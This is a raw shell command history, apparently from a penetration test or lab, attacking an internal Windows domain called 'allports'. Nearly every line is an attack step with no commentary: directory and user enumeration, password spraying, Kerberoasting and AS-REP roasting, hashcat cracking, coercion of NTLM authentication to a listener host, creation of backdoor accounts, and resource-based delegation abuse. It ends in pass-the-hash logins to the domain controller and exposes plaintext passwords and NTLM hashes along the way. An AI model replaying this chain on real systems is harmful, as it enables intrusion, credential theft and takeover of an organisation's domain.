gobuster dir -u http://10.0.1.14 -w  /usr/share/wordlists/dirb/common.txt -b 301
gobuster dir -u https://10.0.1.14:5001/ -w  /usr/share/wordlists/dirb/common.txt -b 301
gobuster dir -u https://10.0.1.11:8045/ -w  /usr/share/wordlists/dirb/common.txt -b 301
gobuster dir -u https://10.0.1.11:8045/ -w  /usr/share/wordlists/dirb/common.txt -k
gobuster dir -u http://10.0.1.11:8045/ -w  /usr/share/wordlists/dirb/common.txt -k
gobuster dir -u http://10.0.1.99:8080/ -w  /usr/share/wordlists/dirb/common.txt -k
gobuster dir -u http://10.0.1.99:80/ -w  /usr/share/wordlists/dirb/common.txt -k
gobuster dir -u http://10.0.1.99:8080/ -w  /usr/share/wordlists/dirb/common.txt -k
gobuster dir -u http://10.0.1.11/ -w  /usr/share/wordlists/dirb/common.txt -k
gobuster dir -u http://10.0.1.11/ -w  /usr/share/wordlists/dirb/common.txt -2 200
gobuster dir -u http://10.0.1.11/ -w  /usr/share/wordlists/dirb/common.txt --2 200
gobuster dir -u http://10.0.1.11/ -w  /usr/share/wordlists/dirb/common.txt --s 200
gobuster dir -u http://10.0.1.11/ -w  /usr/share/wordlists/dirb/common.txt -k
gobuster dir -u http://10.0.1.11/ -w  /usr/share/wordlists/dirb/common.txt --exclude-length 4831
curl -X 'POST' \\
  'http://tabular_search:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "table": "all_ports_tours_all_invoice_log",\
  "select": [\
    "all_ports_tours_all_invoice_log"\
  ],\
  "where": {},\
  "like": {\
    "additionalProp1": "string",\
    "additionalProp2": "string",\
    "additionalProp3": "string"\
  },\
  "limit": 20,\
  "offset": 0,\
  "order_by": [\
    {\
      "col": "string",\
      "desc": false\
    }\
  ],\
  "summarize": true\
}'
curl -X 'POST' \\
  'http://10.0.1.11:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "table": "all_ports_tours_all_invoice_log",\
  "select": [\
    "all_ports_tours_all_invoice_log"\
  ],\
  "where": {},\
  "like": {\
    "additionalProp1": "string",\
    "additionalProp2": "string",\
    "additionalProp3": "string"\
  },\
  "limit": 20,\
  "offset": 0,\
  "order_by": [\
    {\
      "col": "string",\
      "desc": false\
    }\
  ],\
  "summarize": true\
}'
curl -X 'POST' \\
  'http://10.0.1.11:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "table": "all_ports_tours_all_invoice_log",\
}'
curl -X 'POST' \\
  'http://10.0.1.11:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "table": "all_ports_tours_all_invoice_log",\
}'
curl -X POST 'http://10.0.1.11:8045/tabular_search' \\
  -H 'Accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "table": "all_ports_tours_all_invoice_log"\
}'
curl -X POST 'http://10.0.1.11:8045/tabular_search' \\
  -H 'Accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "table": "all_ports_tours_all_invoice_log"\
}' > file.txt
curl -X 'POST' \\
  'http://10.0.1.11:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "table": "full_voyage_schedule",\
}'
	curl -X 'POST' \\
  'http://10.0.1.11:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "table": "full_voyage_schedule"\
}'
gobuster dir -u http://10.0.1.11:8000/ -w  /usr/share/wordlists/dirb/common.txt --k
gobuster dir -u http://10.0.1.99/ -w  /usr/share/wordlists/dirb/common.txt --k
gobuster dir -u http://10.0.1.99/ -w  /usr/share/wordlists/dirb/common.txt


_raw: : 1760820279:0;KBR5CCNAME='DECKHAND-01$.ccache' impacket-smbclient 'DECKHAND-01$@10.0.1.20' -k -no-pass -debug -dc-ip 10.0.1.6


_raw: : 1760820256:0;KBR5CCNAME='DECKHAND-01$.ccache' impacket-smbclient 'APT/DECKHAND-01$@10.0.1.20' -k -no-pass -debug -dc-ip 10.0.1.6


_raw: : 1760820233:0;curl -H 'Host: test.rooms.allports.tours' http://10.0.1.99/admin.html


_raw: : 1760820233:0;KBR5CCNAME='DECKHAND-01$.ccache' impacket-smbclient 'APT/DECKHAND-01$@10.0.1.20' -k -no-pass -debug


_raw: : 1760820183:0;curl -H 'Host: test.rooms.allports.local' http://10.0.1.99/admin.html


_raw: : 1760820158:0;impacket-smbclient 'APT/DECKHAND-01$@10.0.1.20' -k -no-pass -debug


_raw: : 1760820115:0;impacket-smbclient 'APT/DECKHAND-01$@10.0.1.20' -k -no-pass


_raw: : 1760820078:0;nxc smb 10.0.1.6-21 -u usernames.txt -p pass.txt | grep -v FAILURE


_raw: : 1760820063:0;cat password.txt | grep 2024 > pass.txt


_raw: : 1760820027:0;nxc smb 10.0.1.6-21 -u usernames.txt -p password.txt | grep -v FAILURE


_raw: : 1760820014:0;sudo apt update && sudo apt install -y bloodhound


_raw: : 1760820011:0;nmap -p 3306 --script mysql-brute --script-args userdb=/home/kali/wordlists/users_small.txt,passdb=/usr/share/wordlists/rockyou.txt -T3 10.0.2.19 -oN /home/kali/results/nmap_mysql_brute_rockyou.txt\


_raw: : 1760820006:0;sudo apt remove bloodhound


_raw: : 1760820001:0;sudo apt uninstall bloodhound


_raw: : 1760819995:0;sudo systemctl restart gvmd ospd-openvas gsad


_raw:
sqlmap
sqlmap -d 10.0.1.15
sqlmap -d 10.0.1.15 -u 'rdavis'
sqlmap -u http://10.0.1.15


_raw: : 1760819945:0;sudo apt update && sudo apt install -y bloodhound


_raw:
: 1760819918:0;# example using the built-in rockyou wordlist (decompressed)\
nmap -p 3306 \\
  --script mysql-brute \\
  --script-args userdb=/usr/share/wordlists/usernames.txt,passdb=/usr/share/wordlists/rockyou.txt \\
  -T3 10.0.2.19 -oN nmap_mysql_brute.txt\


_raw:
: 1760819914:0;nmap -p3306 --script mysql-brute --script-args userdb=users.txt,passdb=pass.txt 10.0.1.15\
cd


_raw:
cd Documents
ls
cd ..
cd Downloads
nano system.version.json


_raw: : 1760819793:0;cat usernames.txt| grep ggonzales


_raw: : 1760819787:0;cat usernames.txt| grep hhill


_raw: : 1760819783:0;cat usernames.txt| grep lpeterson


_raw: : 1760819773:0;nmap -p3306 --script mysql-brute --script-args userdb=users.txt,passdb=pass.txt 10.0.1.15\


_raw: : 1760819715:0;nmap -sV -p3306 --script=mysql-info,mysql-empty-password,mysql-authenticate,mysql-users 10.0.1.15\


_raw: : 1760819365:0;curl -H 'Host: test.rooms.allports.tours' http://10.0.1.99/admin.html -k | grep pw


_raw: : 1760819362:0;curl -H 'Host: test.rooms.allports.tours' http://10.0.1.99/admin.html -k


_raw: : 1760819357:0;curl -H 'Host: test.rooms.allports.tours' https://10.0.1.99/admin.html -k


_raw: : 1760819355:0;curl -H 'Host: test.rooms.allports.tours' https://10.0.1.99/admin.html


_raw: : 1760819298:0;dirsearch -u chat.allports.tours


_raw: : 1760819284:0;apt-get install dirsearch


_raw: : 1760819217:0;mv hydra.restore hydra.restore-xato-10000


_raw: : 1760819189:0;systemctl restart resolvconf


_raw: : 1760818957:0;impacket-smbserver fart fart -smb2support


_raw: : 1760818845:0;gvm-cli tls --hostname 10.0.254.207 --port 9390 -gmp-username admin Desktop


_raw: : 1760818840:0;nxc ldap 10.0.1.6 -u please -p '' --asreproast asrep.txt


_raw: : 1760818778:0;kerbrute -dc-ip 10.0.1.6 -users /usr/share/seclists/Usernames/top-usernames-shortlist.txt  -domain 'allports.local' -debug -outputusers please


_raw:
carbon\
FLAGSHIP\
Cruise\
Immersive\
planetarium\
telescope\
sessions\
astrophotography\
workshops\
starter\
included\
propulsion\
hybrid\
emission\
sprinkling\
served\
minded\
highest\
indulgent\
Innovation\
doughnut\
inclusive\
standards\
safety\
premium\
programming\
family\
cabins\
accessible\
Services\
thrills\
whether\
experiences\
distinct\
curated\
themed\
future\
projects\
creative\
content\
booking\
actual\
nostalgic\
Designed\
retreats\
Corporate\
offers\
Explore\
dietary\
multiple\
crafted\
memory\
concierge\
Onboard\
Special\
boarding\
commemorative\
access\
priority\
formal\
exclusive\
Launch\
pairings\
perfect\
recommending\
deliver\
modern\
internet\
satellite\
working\
Seafront\
performances\
synchronized\
chairs\
lounge\
Haptic\
generation\
playlist\
personalized\
Interactive\
firmness\
mattress\
ButterCloud\
controlled\
climate\
Cutting\
families\
couples\
Perfect\
nostalgia\
playful\
boutique\
promotion\
Limited\
across\
project\
scavenger\
reality\
Augmented\
living\
skylights\
panoramic\
atrium\
sunlit\
Bailey\
Written\
allportstours\
Contact\
sunsets\
scenic\
featuring\
Experience\
adventure\
unforgettable\
Aboard\
Welcome\
Service\
cruising\
smooth\
Comfort\
butter\
buttery\
sailings\
cocktail\
SPECIAL\
tranquil\
crescent\
concert\
backstage\
tokens\
assistance\
robotic\
Wearable\
soundscapes\
meditations\
moonlit\
guided\
gardens\
Bioluminescent\
rituals\
luxurious\
stargazing\
movement\
mindful\
focuses\
sanctuary\
Explorer\
pampering\
extreme\
seekers\
thrill\
Entertainment\
Adventure\
croissant\
Reserve\
Pastry\
delivered\
breakfast\
driven\
lighting\
chroma\
enhanced\
glasswalk\
transparent\
experience\
plunge\
Skywalk\
around\
projected\
nights\
immersive\
concerts\
theater\


_raw:
wellness\
cruises\
include\
dining\
complimentary\
gourmet\
events\
sommeliers\
offsetting\
creations\
adapts\
sailed\
innovation\
demand\
evening\
signature\
rotating\
treatments\
District\
Gastronomy\
markets\
doughbar\
arcades\
floating\
therapy\
cinemas\
automated\
rooftop\
carbon\
FLAGSHIP\
Cruise\
Immersive\
planetarium\
telescope\
sessions\
astrophotography\
workshops\
starter\
included\
propulsion\
hybrid\
emission\
sprinkling\
served\
minded\
highest\
indulgent\
Innovation\
doughnut\
inclusive\
standards\
safety\
premium\
programming\
family\
cabins\
accessible\
Services\
thrills\
whether\
experiences\
distinct\
curated\
themed\
future\
projects\
creative\
content\
booking\
actual\
nostalgic\
Designed\
retreats\
Corporate\
offers\
Explore\
dietary\
multiple\
crafted\
memory\
concierge\
Onboard\
Special\
boarding\
commemorative\
access\
priority\
formal\
exclusive\
Launch\
pairings\
perfect\
recommending\
deliver\
modern\
internet\
satellite\
working\
Seafront\
performances\
synchronized\
chairs\
lounge\
Haptic\
generation\
playlist\
personalized\
Interactive\
firmness\
mattress\
ButterCloud\
controlled\
climate\
Cutting\
families\
couples\
Perfect\
nostalgia\
playful\
boutique\
promotion\
Limited\
across\
project\
scavenger\
reality\
Augmented\
living\
skylights\
panoramic\
atrium\
sunlit\
Bailey\
Written\
allportstours\
Contact\
sunsets\
scenic\
featuring\
Experience\
adventure\
unforgettable\
Aboard\
Welcome\
Service\
cruising\
smooth\
Comfort\
butter\
buttery\
sailings\
cocktail\
SPECIAL\
tranquil\
crescent\
concert\
backstage\
tokens\
assistance\
robotic\
Wearable\
soundscapes\
meditations\
moonlit\
guided\
gardens\
Bioluminescent\
rituals\
luxurious\
stargazing\
movement\
mindful\
focuses\
sanctuary\
Explorer\
pampering\
extreme\
seekers\
thrill\
Entertainment\
Adventure\
croissant\
Reserve\
Pastry\
delivered\
breakfast\
driven\
lighting\
chroma\
enhanced\
glasswalk\
transparent\
experience\
plunge\
Skywalk\
around\
projected\
nights\
immersive\
concerts\
theater\
Doughlight\
Voyager\
Flagship\
Serenity\
Crescent\
Buttery\
Breeze\
Dreamer\
Sunsets\
service\
sunset\
bookings\
entertainment\
pastry\
indulgence\
Croissant\
inspired\
luxury\
holographic\
arcade\
blends\
aromatherapy\
engineering\
comfort\
synced\
choose\
Cruises\
Wellness\
wellness\
cruises\
include\
dining\
complimentary\
gourmet\
events\
sommeliers\
offsetting\
creations\
adapts\
sailed\
innovation\
demand\
evening\
signature\
rotating\
treatments\
District\
Gastronomy\
markets\
doughbar\
arcades\
floating\
therapy\
cinemas\
automated\
rooftop\


_raw:
: 1760818756:0;Doughlight\
Voyager\
Flagship\
Serenity\
Crescent\
Buttery\
Breeze\
Dreamer\
Sunsets\
service\
sunset\
bookings\
entertainment\
pastry\
indulgence\
Croissant\
inspired\
luxury\
holographic\
arcade\
blends\
aromatherapy\
engineering\
comfort\
synced\
choose\
Cruises\
Wellness\
wellness\
cruises\
include\
dining\
complimentary\
gourmet\
events\
sommeliers\
offsetting\
creations\
adapts\
sailed\
innovation\
demand\
evening\
signature\
rotating\
treatments\
District\
Gastronomy\
markets\
doughbar\
arcades\
floating\
therapy\
cinemas\
automated\
rooftop\
carbon\
FLAGSHIP\
Cruise\
Immersive\
planetarium\
telescope\
sessions\
astrophotography\
workshops\
starter\
included\
propulsion\
hybrid\
emission\
sprinkling\
served\
minded\
highest\
indulgent\
Innovation\
doughnut\
inclusive\
standards\
safety\
premium\
programming\
family\
cabins\
accessible\
Services\
thrills\
whether\
experiences\
distinct\
curated\
themed\
future\
projects\
creative\
content\
booking\
actual\
nostalgic\
Designed\
retreats\
Corporate\
offers\
Explore\
dietary\
multiple\
crafted\
memory\
concierge\
Onboard\
Special\
boarding\
commemorative\
access\
priority\
formal\
exclusive\
Launch\
pairings\
perfect\
recommending\
deliver\
modern\
internet\
satellite\
working\
Seafront\
performances\
synchronized\
chairs\
lounge\
Haptic\
generation\
playlist\
personalized\
Interactive\
firmness\
mattress\
ButterCloud\
controlled\
climate\
Cutting\
families\
couples\
Perfect\
nostalgia\
playful\
boutique\
promotion\
Limited\
across\
project\
scavenger\
reality\
Augmented\
living\
skylights\
panoramic\
atrium\
sunlit\
Bailey\
Written\
allportstours\
Contact\
sunsets\
scenic\
featuring\
Experience\
adventure\
unforgettable\
Aboard\
Welcome\
Service\
cruising\
smooth\
Comfort\
butter\
buttery\
sailings\
cocktail\
SPECIAL\
tranquil\
crescent\
concert\
backstage\
tokens\
assistance\
robotic\
Wearable\
soundscapes\
meditations\
moonlit\
guided\
gardens\
Bioluminescent\
rituals\
luxurious\
stargazing\
movement\
mindful\
focuses\
sanctuary\
Explorer\
pampering\
extreme\
seekers\
thrill\
Entertainment\
Adventure\
croissant\
Reserve\
Pastry\
delivered\
breakfast\
driven\
lighting\
chroma\
enhanced\
glasswalk\
transparent\
experience\
plunge\
Skywalk\
around\
projected\
nights\
immersive\
concerts\
theater\
Doughlight\
Voyager\
Flagship\
Serenity\
Crescent\
Buttery\
Breeze\
Dreamer\
Sunsets\
service\
sunset\
bookings\
entertainment\
pastry\
indulgence\
Croissant\
inspired\
luxury\
holographic\
arcade\
blends\
aromatherapy\
engineering\
comfort\
synced\
choose\
Cruises\
Wellness\


_raw: : 1760818755:0;kerbrute -dc-ip 10.0.1.6 -users /usr/share/seclists/Usernames/top-usernames-shortlist.txt  -domain 'allports.tours.local' -debug -outputusers please


_raw: : 1760818731:0;kerbrute -dc-ip 10.0.1.6 -users /usr/share/seclists/Usernames/top-usernames-shortlist.txt  -domain 'allports.tours.local' -debug -outputusers please


_raw: : 1760818725:0;kerbrute -dc-ip 10.0.1.6 -users /usr/share/seclists/Usernames/top-usernames-shortlist.txt  -domain allports.tours.local -debug -outputusers please


_raw: : 1760818712:0;kerbrute -dc-ip 10.0.1.6 -users /usr/share/seclists/Usernames/top-usernames-shortlist.txt  -domain allports.tourslocal -debug -outputusers please


_raw: : 1760818695:0;kerbrute -dc-ip 10.0.1.6 -users /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt  -domain allports.tourslocal -debug -outputusers please


_raw: : 1760818689:0;kerbrute -dc-ip 10.0.1.6 -users /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt  -domain allports.tourslocal -debug --outputusersplease


_raw: : 1760818683:0;kerbrute -dc-ip 10.0.1.6 -users /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt  -domain allports.tourslocal -debug --outputusers please


_raw: : 1760818591:0;sudo greenbone-feed-sync password.txt


_raw: : 1760818564:0;kerbrute -dc-ip 10.0.1.6 -users /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt  -domain allports.tourslocal -debug


_raw:
nxc smb 10.0.1.6
nbtscan --help
nbtscan -r 10.0.1.0/24
nbtscan 10.0.1.6
nbtstat
nbtscan 10.0.1.20
nxc smb 10.0.1.1/24 -u '' -p '' -M smbghost
nxc smb 10.0.1.6 -u '' -p '' --shares
nxc smb 10.0.1.1/24 -u '' -p '' -M printnightmare
nxc smb 10.0.1.1/24 -u '' -p '' -M coerce_plus -o ALWAYS=true
nxc ldap -u '' -p '' 10.0.1.6
nxc ldap 10.0.1.6 -u '' -p ''
nxc ldap 10.0.1.6 -u '' -p '' --users
msfdb init
sudo msfdb init
msfconsole
nxc smb 10.0.1.20 -u 'Guest' -p ''
nxc smb 10.0.1.21 -u 'Guest' -p ''
nxc smb --help
nxc smb 10.0.1.21 -u 'Guest' -p '' --local-auth
nxc smb 10.0.1.20 -u 'Guest' -p '' --local-auth
nxc smb 10.0.1.21 -u 'Guest' -p '' --local-auth
nxc smb 10.0.1.21 -u 'Guest' -p '' --local-auth -M coerce_plus
nxc smb 10.0.1.21 -u '' -p '' --local-auth -M coerce_plus
nxc smb 10.0.1.21 -u '' -p '' --local-auth -M coerce_plus -o ALWAYS=true
nxc smb 10.0.1.21 -u 'GUEST' -p '' --local-auth -M coerce_plus -o ALWAYS=true
nxc smb 10.0.1.21 -u 'GUEST' -p '' -M coerce_plus -o ALWAYS=true


_raw:
nmap -A 10.0.1.0-24
nmap 10.0.1.0-24
nmap -sS -sV -A 10.0.1.0-24 > nmapA.txt
ls
nano nmapA.txt
ls
impacket-mssqlclient
impacket-mssqlclient 10.0.1.15
impacket-mssqlclient 10.0.1.15:3306
mysql 10.0.1.15
nmap -sS -sV -A 10.0.1.15:3306
ping 10.0.1.15
mysql --port=3306 --host=10.0.1.15
mysql --port=3306 --host=10.0.1.15 --password=""
mysql --host=10.0.1.15 --user=a --password=n
nmap -A 10.0.1.15
ls
cat password.txt
mkdir assessment1
ls
cd assessment1
cd ..
mv nmapA.txt assessment1
ls
mv password.txt assessment1
ls
cd assessment1
ls
nmap -sC -sV -Pn 10.0.1/24
nano
ls
nano nmapA.txt
nxc smb 10.0.1.6 -u '' -p ''
smbclient 10.0.1.6
nxc smb 10.0.1.6 -u '' -p '' --shares
nxc smb 10.0.1.6 -u '' -p '' --users
nxc smb 10.0.1.6 -u '' -p '' --computers
ls
nano nmapA.txt
mssql
mysql --host=10.0.1.15 --user=rdavis --password=rosdav50
mysql --host=10.0.1.15 --user=SVC_STABLIZE --password=1gyroscope
nxc ldap 10.0.1.6 -u 'rdavis' -p 'rosdav50' --bloodhound --collection All --dns-server http://10.0.1.6
nxc ldap 10.0.1.6 -u 'rdavis' -p 'rosdav50'
nxc ldap 10.0.1.6 -u 'rdavis' -p 'rosdav50' --shares
nxc winrm 10.0.1.6 -u 'rdavis' -p 'rosdav50' -X 'whoami'
nxc winrm 10.0.1.6 -u 'SVC_STABLIZE' -p '1gyroscope' -X 'whoami'


_raw: : 1760818485:0;impacket-smbserver fart fart -smb2support -username fart -password fart


_raw: : 1760818448:0;kerbrute -dc-ip 10.0.1.6 -users /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt  -domain allports.tourslocal


_raw: : 1760818436:0;kerbrute -dc-ip 10.0.1.6 /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt  -domain allports.tourslocal


_raw: : 1760818430:0;kerbrute -dc-ip 10.0.1.6 /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt


_raw: : 1760818419:0;kerbrute -d allports.tours.local /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt


_raw:
msfconsole
crackmapexec smb 1.0.1.0/24 -u 'svc_stabalize' -p '1gyroscope' --shares\
nxc -h


_raw: : 1760818345:0;nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='allports.tours.local',userdb='/usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames-dup.txt'" 10.0.1.6


_raw:
grep trainee ./enum_users.txt
grep davis ./enum_users.txt
grep new ./enum_users.txt
grep admin ./enum_users.txt
grep Admin ./enum_users.txt
evil-winrm -i 10.0.1.6 -u svc_stabilize -p 1gyroscope


_raw: : 1760818236:0;hashcat -a 0 -m 100 hash.txt /usr/share/wordlists/rockyou.txt.gz


_raw: : 1760818230:0;hashcat -a 100 -m 0 hash.txt /usr/share/wordlists/rockyou.txt.gz


_raw: : 1760818230:0;for mx in $(dig mx +short allports.tours | awk '{print $2}'); do host $mx; done


_raw: : 1760818224:0;hashcat -a 0 -m 1000 hash.txt /usr/share/wordlists/rockyou.txt.gz


_raw: : 1760818189:0;hashcat -a 0 -m 0 hash.txt /usr/share/wordlists/rockyou.txt.gz


_raw: : 1760818189:0;nikto -h https://chat.allports.tours/


_raw: : 1760818140:0;nxc smb 10.0.1.6-21 -u usernames.txt -p password.txt | grep -v FAILURE | LOCKED


_raw: : 1760818120:0;ffuf -u http://10.0.1.15:8080/api/FUZZ.php -w /usr/share/wordlists/dirb/big.txt -mc all -fc 404


_raw: : 1760818109:0;ffuf -u http://10.0.1.15:8080/api/FUZZ.php -w /usr/share/wordlists/dirb/big.txt -mc all


_raw: : 1760818106:0;ffuf -u http://10.0.1.15:8080/api/FUZZ.php -w /usr/share/wordlists/dirb/big.txt -mc


_raw:
nxc smb APT-DC-01.allports.local -u '' -p ''
nxc smb APT-DC-01.allports.local -u '' -p '' --rid-brute
nxc smb APT-DC-01.allports.local -u '' -p '' --shares
nxc ldap APT-DC-01.allports.local -u '' -p '' --usres
nxc ldap APT-DC-01.allports.local -u '' -p '' --users
smbclient -L 10.0.1.6
smbclient -L 10.0.1.6 -u '' -p ''
smbclient -L 10.0.1.6 -u '%'
smbclient -L 10.0.1.6 -U '%'
smbclient -L //10.0.1.6 -U '%'
nxc smb APT-DC-01.allports.local -u '' -p ''
nxc smb APT-DC-01.allports.local -u 'a' -p ''
nxc smb APT-DC-01.allports.local -u '' -p '' --pass-pol
nxc smb APT-DC-01.allports.local -u '' -p '' --users
nxc smb APT-DC-01.allports.local -u '' -p '' --groups
nslookup prod.allports.local allports.local
nxc smb 10.0.1.20 coerce_plus' -o LISTENER=10.0.254.203
nxc smb 10.0.1.20 -M 'coerce_plus' -o LISTENER=10.0.254.203
nxc smb 10.0.1.21 -M 'coerce_plus' -o LISTENER=10.0.254.203
nxc smb 10.0.1.6 -M 'coerce_plus' -o LISTENER=10.0.254.203
nxc smb 10.0.1.6 -u 'rdavis' -p 'rosdav50'
nxc smb 10.0.1.6 -u 'rdavis4' -p 'rosdav50'
nxc smb 10.0.1.6 -u 'rdavis2' -p 'rosdav50'
nxc smb 10.0.1.6 -u 'rdavis2' -p 'rosdav50' --asreproast roasted.txt
nxc smb 10.0.1.6 -u 'rdavis2' -p 'rosdav50' --asreproasting roasted.txt
nxc ldap 10.0.1.6 -u 'rdavis2' -p 'rosdav50' --asreproasting roasted.txt
nxc ldap 10.0.1.6 -u 'rdavis2' -p 'rosdav50' --asreproast roasted.txt
nxc ldap 10.0.1.6 -u 'rdavis' -p 'rosdav50' --asreproast roasted.txt
nxc ldap 10.0.1.6 -u 'rdavis' -p 'rosdav50' --kerberaost roasted.txt
nxc ldap 10.0.1.6 -u 'rdavis' -p 'rosdav50' --kerberaosting roasted.txt
nxc ldap 10.0.1.6 -u 'rdavis' -p 'rosdav50' --kerberoast roasted.txt
ls
hashcat roasted.txt /usr/share/wordlists/rockyou.txt
ls
nxc ldap 10.0.1.6 -u 'SVC_STABILIZE' -p 'lgyroscope' --kerberoast roasted.txt
nxc ldapAPT-DC-01.allports.local -u 'SVC_STABILIZE' -p 'lgyroscope' --kerberoast roasted.txt
nxc ldap APT-DC-01.allports.local -u 'SVC_STABILIZE' -p 'lgyroscope' -k
nxc ldap APT-DC-01.allports.local -u 'SVC_STABILIZE' -p '1gyroscope' -k
nxc ldap APT-DC-01.allports.local -u 'SVC_STABILIZE' -p '1gyroscope' --users
nxc ldap APT-DC-01.allports.local -u 'SVC_STABILIZE' -p '1gyroscope' --users | less
nxc smb APT-DC-01.allports.local -u 'SVC_STABILIZE' -p '1gyroscope' --shares
nxc smb APT-DC-01.allports.local -u 'rdavis' -p 'rosdav50' --shares
nxc smb APT-DC-01.allports.local -u 'rdavis' -p 'rosdav50' -L
nxc smb APT-DC-01.allports.local -u 'rdavis' -p 'rosdav50' -M 'gpp_password'
nxc smb APT-DC-01.allports.local -u 'rdavis' -p 'rosdav50' -M 'gpp_autologin'
nxc smb APT-DC-01.allports.local -u 'rdavis' -p 'rosdav50' -M 'nopac\
'
nxc smb APT-DC-01.allports.local -u 'rdavis' -p 'rosdav50' -M 'nopac'
nxc smb APT-DC-01.allports.local -u 'rdavis' -p 'rosdav50' -M 'enum_av'
nxc smb APT-DC-01.allports.local -u 'rdavis' -p 'rosdav50' -M 'enum_ca'
nxc smb APT-DC-01.allports.local -u 'rdavis' -p 'rosdav50' -M 'coerce_plus'
nxc smb APT-DC-01.allports.local -u 'rdavis' -p 'rosdav50' -M 'coerce_plus' -o LISTENER=10.0.254.203
nxc smb APT-DC-01.allports.local -u 'SVC_STABILIZE' -p '1gyroscope' -M 'coerce_plus'
nxc smb 10.0.1.20 -u 'SVC_STABILIZE' -p '1gyroscope' -M 'coerce_plus'
nxc smb 10.0.1.20 -u 'rdavis' -p 'rosdav50' -M 'coerce_plus'
nxc smb 10.0.1.6 -u 'rdavis' -p 'rosdav50'
nxc smb 10.0.1.20 -u 'rdavis' -p 'rosdav50' -M 'coerce_plus'
nxc smb APT-DC-01.allports.local -u 'rdavis' -p 'rosdav50' -M 'coerce_plus'
nxc smb APT-DC-01.allports.local -u 'rdavis' -p 'rosdav50' -M 'coerce_plus' -o LISTENER=10.0.254.203
nxc smb DECKHAND-01.allports.local -u 'rdavis' -p 'rosdav50' --shares
nxc smb DECKHAND-01.allports.local -u 'rdavis' -p 'rosdav50' --shares -K
nxc smb DECKHAND-01.allports.local -u 'rdavis' -p 'rosdav50' --shares -k
nxc smb DECKHAND-02.allports.local -u 'rdavis' -p 'rosdav50' --shares -k
nxc smb DECKHAND-01.allports.local -u 'rdavis' -p 'rosdav50' -x 'whoami'
nxc smb DECKHAND-01.allports.local -u 'rdavis' -p 'rosdav50' -k -x 'whoami'
nxc smb DECKHAND-01.allports.local -u 'rdavis' -p 'rosdav50' -k -x 'net user /add redteam'
nxc smb DECKHAND-01.allports.local -u 'rdavis' -p 'rosdav50' -k -x 'net user /add redteam ChangeMe123!'
nxc smb DECKHAND-01.allports.local -u 'rdavis' -p 'rosdav50' -k -x 'net user /add redteam2 ChangeMe123!'
ls
nxc smb DECKHAND-02.allports.local -u 'rdavis' -p 'rosdav50' --shares
nxc smb DECKHAND-02.allports.local -u 'rdavis' -p 'rosdav50' -k --shares
nxc smb DECKHAND-02.allports.local -u 'rdavis' -p 'rosdav50' -k --shares -M 'spider_plus' -o DOWNLOAD_FLAG=True
nxc smb DECKHAND-02.allports.local
nxc smb 10.0.1.20
nxc smb 10.0.1.21
ls
nxc smb DECKHAND-02.allports.local -u 'rdavis' -p 'rosdav50' -k --shares
nxc smb APT-DC-01.allports.local -u 'rdavis' -p 'rosdav50' -k --shares
nxc smb APT-DC-01.allports.local -u 'rdavis' -p 'rosdav50' -M 'coerce_plus' -o LISTENER=10.0.254.203
nxc smb DECKHAND-02.allports.local -u 'rdavis' -p 'rosdav50' -k --shares
nxc smb DECKHAND-02.allports.local -u 'rdavis' -p 'rosdav50' -k -M 'spider_plus' -o MAX_FILE_SIZE=256M DOWNLOAD_FLAG=True
nxc smb DECKHAND-02.allports.local -u 'rdavis' -p 'rosdav50' -k -M 'spider_plus' -o MAX_FILE_SIZE=10000000 DOWNLOAD_FLAG=True
cd .nxc
ls
cd modules
ls
cd nxc_spider_plus
ls
clear
ls
cd DECKHAND-02.allports.local
ls
cd Galley
ls
cd company_files
ls
cd Human_Resources
ls
cd Onboarding
ls
sudo nmap -sU 500,4500 10.0.1.1
sudo nmap -sU -p 500,4500 10.0.1.1
sudo nmap -sU -p 500,4500 10.0.1.6
sudo nmap -sU -p 500,4500 10.0.1.10
sudo nmap -sU -p 500,4500 10.0.1.11
sudo nmap -sU -p 500,4500 10.0.1.14
sudo nmap -sU -p 500,4500 10.0.1.15
sudo nmap -sU -p 500,4500 10.0.1.16
sudo nmap -Pn -sU -p 500,4500 10.0.1.16
sudo nmap -Pn -sU -p 500,4500 10.0.1.20
sudo nmap -Pn -sU -p 500,4500 10.0.1.21
sudo nmap -Pn -sU -p 500,4500 10.0.1.30
sudo nmap -Pn -sU -p 500,4500 10.0.1.99
sudo nmap -Pn -sU -p 500,4500 10.0.1.254
ls
cd ..
ls
cd Training
ls
cd Templates
ls
cd ../..
ls
cd Onboarding
ls
nxc smb DECKHAND-02.allports.local -u 'rdavis' -p 'rosdav50' --shares
nxc smb APT-DC-01.allports.local -u 'rdavis' -p 'rosdav50' --shares
free -h
clear
impacket-rbcd -h
impacket-rbcd -delegate-from 'pentestpc$' -delegate-to 'APT-DC-01$' -dc-ip '10.0.1.6' -action 'write' 'allports.local'/'rdavis':'rosdav50'
impacket-rbcd -delegate-from 'pentestpc$' -delegate-to 'APT-DC-01$' -dc-ip '10.0.1.6' -action 'write' 'allports.local'/'pentestpc$':'ChangeMe1231'
impacket-rbcd -delegate-from 'pentestpc$' -delegate-to 'APT-DC-01$' -dc-ip '10.0.1.6' -action 'write' 'allports.local'/'pentestpc$':'ChangeMe123!'
evil-winrm -i 10.0.1.6 -u 'Admin' -H '24d520ee3105a1a7700140a501aa733e'
evil-winrm -i 10.0.16 -u 'Administrator' -H 'a4fa38e8e61d094ab455cecda06105d3'


